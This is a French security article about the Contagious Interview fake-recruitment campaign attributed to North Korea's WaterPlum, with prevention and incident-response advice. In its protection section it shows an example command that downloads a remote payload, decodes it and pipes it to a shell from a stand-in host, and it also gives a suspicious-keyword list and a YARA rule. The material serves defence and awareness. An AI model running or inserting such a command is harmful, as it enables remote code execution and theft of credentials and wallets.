Campagne Contagious Interview : décryptage de l'attaque par faux recrutement attribuée à WaterPlum

Plus de 30 000 ordinateurs infectés dans une centaine de pays, environ 10,7 millions de dollars de cryptomonnaies dérobés, et une période d’activité intense s’étalant de décembre 2025 à juillet 2026 : la campagne Contagious Interview n’est pas une simple opération de cybercriminalité ordinaire. Elle a été officiellement attribuée au groupe nord-coréen WaterPlum par une coalition inédite rassemblant le Japon, les États-Unis, l’Australie et l’Allemagne. L’avis conjoint, signé par le FBI, l’ACSC, le BND et les autorités japonaises, place cette campagne sous le Bureau 313 du Département de l’industrie de l’armement de la Corée du Nord, soulignant qu’il s’agit d’un moyen de financement étatique. La France, avec son écosystème dynamique de startups et de freelances dans les technologies blockchain et IA, est particulièrement exposée à ce type de campagne. Ce décryptage vous présente le mode opératoire de cette attaque par entretien d’embauche piégé, les familles de malware utilisées, les implications pour les professionnels IT français et les mesures concrètes à mettre en œuvre pour vous protéger.

La campagne Contagious Interview officiellement attribuée au groupe nord-coréen WaterPlum

Une attribution conjointe de quatre pays

Le 18 septembre 2026, les agences de cybersécurité du Japon (National Police Agency et National Cybersecurity Office), des États-Unis (FBI et Cyber Crime Center du Département de la Défense), de l’Australie (Australian Cyber Security Centre) et de l’Allemagne (BND et BfV) ont publié un avis conjoint attribuant formellement la campagne Contagious Interview au groupe WaterPlum. Celui-ci est rattaché au Bureau 313 du Département de l’industrie de l’armement de la Corée du Nord, qui supervise la production d’armements. Cette attribution officielle place l’opération dans le cadre du financement étatique nord-coréen plutôt que de la cybercriminalité classique. Une telle coordination entre pays est rare et témoigne de la gravité de la menace. En Allemagne, le BND a souligné que cette campagne représente une atteinte à la sécurité nationale, tandis que le Japon a renforcé ses enquêtes sur les laptop farms.

Une ampleur sans précédent

Selon l’avis conjoint, la campagne a infecté plus de 30 000 ordinateurs répartis dans plus de 100 pays. Les pertes en cryptomonnaies sont estimées à 1,7 milliard de yens, soit environ 10,7 millions de dollars. La période la plus intense s’est déroulée entre décembre 2025 et juillet 2026, avec près de 7 000 cas de portefeuilles de cryptomonnaies compromis rien qu’au Japon. Ces chiffres démontrent l’efficacité redoutable de l’approche employée et soulignent la nécessité d’une vigilance accrue au sein des communautés techniques. Les autorités estiment que le nombre réel de victimes pourrait être plus élevé, car de nombreux incidents ne sont pas signalés.

Comment fonctionne l’attaque par faux recrutement ?

Les victimes ne sont pas des entreprises mais des individus. Les opérateurs de WaterPlum se font passer pour des recruteurs travaillant pour des sociétés spécialisées dans l’intelligence artificielle, les cryptomonnaies et les NFT. Ils approchent leurs cibles via les réseaux sociaux professionnels (LinkedIn, Slack), les plateformes de recherche d’emploi (Indeed, Glassdoor) et les places de marché pour freelances (Upwork, Malt, Fiverr). Les profils recherchés sont principalement des développeurs, des web designers et des experts blockchain. Toute personne travaillant dans ces secteurs peut être une cible potentielle.

L’appât du test technique piégé

Le moment clé de l’attaque survient lors de l’étape de l’entretien technique. Le candidat est invité à réaliser un exercice de codage ou à résoudre un problème de visioconférence. Dans les deux cas, le prétexte sert à livrer un logiciel malveillant. Ce dernier est généralement dissimulé dans des packages Node Package Manager (npm) hébergés sur GitHub ou Bitbucket. En exécutant le code ou en installant le package, la victime infecte sa propre machine. Il est crucial de ne jamais exécuter de code provenant d’une source non vérifiée. Les attaquants utilisent des dépôts aux noms similaires à des packages légitimes (typosquatting) ou dissimulent le code malveillant dans des scripts de post-installation.

Scénario concret d’une infection

Prenons l’exemple d’un développeur français contacté sur Malt par un recruteur d’une prétendue startup NFT. Après un échange standard, le recruteur envoie un lien vers un dépôt GitHub contenant un projet Node.js censé évaluer ses compétences. Le développeur télécharge le projet et lance npm install. Le script de post-installation exécute une commande qui télécharge et exécute BeaverTail. En quelques secondes, les identifiants de navigateur, les cookies de session et les clés privées de portefeuille de cryptomonnaies sont exfiltrés vers un serveur de commande et contrôle. Le développeur ne remarque rien jusqu’à ce que ses comptes soient vidés.

Les cinq familles de malware déployées

L’avis conjoint nomme cinq familles de logiciels malveillants utilisées dans le cadre de Contagious Interview :

Ces malwares sont capables de siphonner les identifiants, le contenu du presse-papiers, les frappes clavier, les captures d’écran, les clés de portefeuilles et phrases de récupération, les documents d’identité et le code source. Les attaquants récupèrent ainsi un ensemble complet d’informations permettant d’accéder aux comptes de leurs victimes. Le choix de npm comme vecteur principal est stratégique : ce registre est utilisé quotidiennement par des millions de développeurs, créant une large surface d’attaque.

Les liens avec le réseau de travailleurs IT nord-coréens

L’avis conjoint fait également le lien entre la campagne Contagious Interview et le système de travailleurs IT nord-coréens déployés à l’étranger. Les opérateurs utilisent des documents d’identité volés et des serveurs privés virtuels (VPS) pour masquer leur localisation. Ils travaillent depuis la Corée du Nord, la Chine, la Russie, l’Afrique et l’Asie du Sud-Est. Ce système permet à la Corée du Nord de générer des revenus en devises étrangères tout en accédant aux réseaux d’entreprises internationales.

Les laptop farms : des fermes d’ordinateurs portables pour blanchir les connexions

Pour apparaître dans le pays de l’entreprise cliente, les facilitateurs mettent en place des « fermes d’ordinateurs portables » (laptop farms) chez eux, fournissant des adresses IP locales plausibles. Plusieurs machines sont connectées simultanément, chacune simulant un employé distant légitime. Les autorités japonaises ont démantelé une de ces fermes sur leur sol et ont retracé plusieurs centaines de millions de yens transférés vers des comptes à l’étranger. Une laptop farm typique consiste en un appartement loué contenant une dizaine d’ordinateurs portables reliés à Internet par une connexion résidentielle, utilisés par des opérateurs nord-coréens via des VPN ou des accès bureau à distance.

« Lorsque les relations se détériorent, les travailleurs nord-coréens se livrent à de l’extorsion concernant des litiges de paiement, de la défiguration de sites web et la publication de code source volé. » - Avis conjoint des agences.

Quels risques pour les entreprises françaises ?

Les entreprises françaises qui recrutent des développeurs à distance sont exposées à des risques juridiques importants. Si elles embauchent sans le savoir un travailleur nord-coréen, elles s’exposent à des sanctions liées aux embargos internationaux. Le Département d’État américain a émis une alerte en juillet 2026, et le ministère de la Justice a déjà poursuivi des facilitateurs et saisi des laptop farms. En France, la CNIL et l’ANSSI recommandent de renforcer la vérification d’identité et de mettre en place des clauses contractuelles spécifiques dans les contrats de prestation. La due diligence devient une obligation légale, pas seulement une bonne pratique. Par ailleurs, le RGPD impose de protéger les données personnelles des candidats, ce qui inclut la vérification de l’authenticité de leurs documents. Le risque de non-conformité peut entraîner des poursuites de la part de TRACFIN et des amendes conséquentes.

Mesures de protection concrètes pour les professionnels IT

Face à cette menace, les autorités ont publié des recommandations précises. Voici les étapes à suivre pour minimiser les risques. Adoptez une approche de confiance zéro vis-à-vis de tout code reçu dans le cadre d’un recrutement.

Exécuter tout code d’entretien dans un environnement isolé

La règle d’or est de ne jamais exécuter de code provenant d’un recruteur sur votre machine principale. Utilisez impérativement une machine virtuelle (VM) dédiée, sans accès à vos fichiers personnels ou professionnels. Des outils comme Vagrant ou Docker permettent de créer rapidement un environnement de test éphémère. Ouvrez les projets dans Visual Studio Code avec le mode restreint activé et inspectez systématiquement le fichier .vscode/tasks.json avant toute action. Toute commande contenant des appels à curl, base64, -enc, mshta ou Invoke-WebRequest doit être considérée comme suspecte.

Exemple de commande malveillante typique :

curl -s http://malicious-site.com/payload | base64 -d | sh

Cette ligne télécharge un script, le décode et l’exécute. Une simple analyse avant exécution peut révéler le danger. En cas de doute, ne lancez rien. Vous pouvez également utiliser des règles YARA pour détecter des patterns suspects dans les scripts reçus, par exemple :

rule SuspiciousBase64 {
  strings:
    $base64_func = "base64 -d"
  condition:
    $base64_func
}

Reconnaître les indicateurs d’une tentative d’attaque

• Méfiez-vous des offres d’emploi trop alléchantes, notamment dans les secteurs AI, crypto ou NFT.
• Vérifiez l’identité du recruteur : présence en ligne, historique LinkedIn, appels vidéo avec caméra active.
• Refus de rencontre en personne, appels audio ou vidéo fréquemment interrompus.
• Utilisation de logiciels de face-swapping ou d’avatars virtuels lors des entretiens.
• Adresse IP du candidat qui ne correspond pas à sa localisation déclarée.
• Demandes d’exécution de code non documenté ou de scripts obscurs.

Conduite à tenir en cas d’infection avérée

1. Isoler immédiatement la machine en la déconnectant du réseau (Wi-Fi, Ethernet, VPN). Ne l’éteignez pas tout de suite si vous souhaitez collecter des preuves (capture de mémoire vive possible).
2. Considérer tous vos identifiants comme compromis et les modifier depuis un appareil sain. Utilisez un gestionnaire de mots de passe pour générer des mots de passe uniques.
3. Transférer les portefeuilles de cryptomonnaies vers une nouvelle adresse générée sur un appareil propre. Ne réutilisez jamais les anciennes phrases de récupération.
4. Réinstaller complètement le système d’exploitation à partir d’une source fiable, sans restaurer des sauvegardes susceptibles de contenir le malware.
5. Signaler l’incident aux autorités compétentes : en France, contacter le CERT-FR (cert.ssi.gouv.fr) ou utiliser la plateforme de signalement de l’ANSSI.
6. Informer votre employeur ou client si des données professionnelles sont en jeu, afin de limiter les impacts et de déclencher une réponse aux incidents.

« Après toute infection, supposez que les informations d’identification sont perdues, faites pivoter les portefeuilles depuis un appareil propre et réinstallez le système d’exploitation. » - Avis conjoint des agences de cybersécurité.

Adopter une politique de sécurité proactive

Au-delà des réactions, les entreprises et les travailleurs indépendants doivent mettre en place des contrôles préventifs. Cela inclut la vérification systématique de l’identité des recruteurs via des sources multiples, l’utilisation de solutions de sécurité avancées sur les machines de développement, et la sensibilisation régulière aux nouvelles menaces. L’ANSSI propose des guides de bonnes pratiques pour le recrutement à distance, que nous vous recommandons de consulter.

Conclusion : une vigilance accrue s’impose face aux recrutements piégés

La campagne Contagious Interview illustre l’évolution des méthodes nord-coréennes, qui utilisent désormais les codes du recrutement classique pour infecter des professionnels IT du monde entier. Avec plus de 30 000 machines compromise et 10,7 millions de dollars volés, cette opération montre que les développeurs et experts blockchain sont en première ligne. Pour vous protéger, adoptez systématiquement les mesures d’isolation et de vérification décrites. La vigilance ne doit pas se relâcher, car WaterPlum et d’autres groupes affinent continuellement leurs techniques. Restez informé des dernières alertes via les publications de l’ANSSI et du CERT-FR, et n’exécutez jamais un code que vous n’avez pas entièrement inspecté. En partageant ces bonnes pratiques au sein de votre équipe, vous contribuez à renforcer la sécurité de l’ensemble de la communauté technique.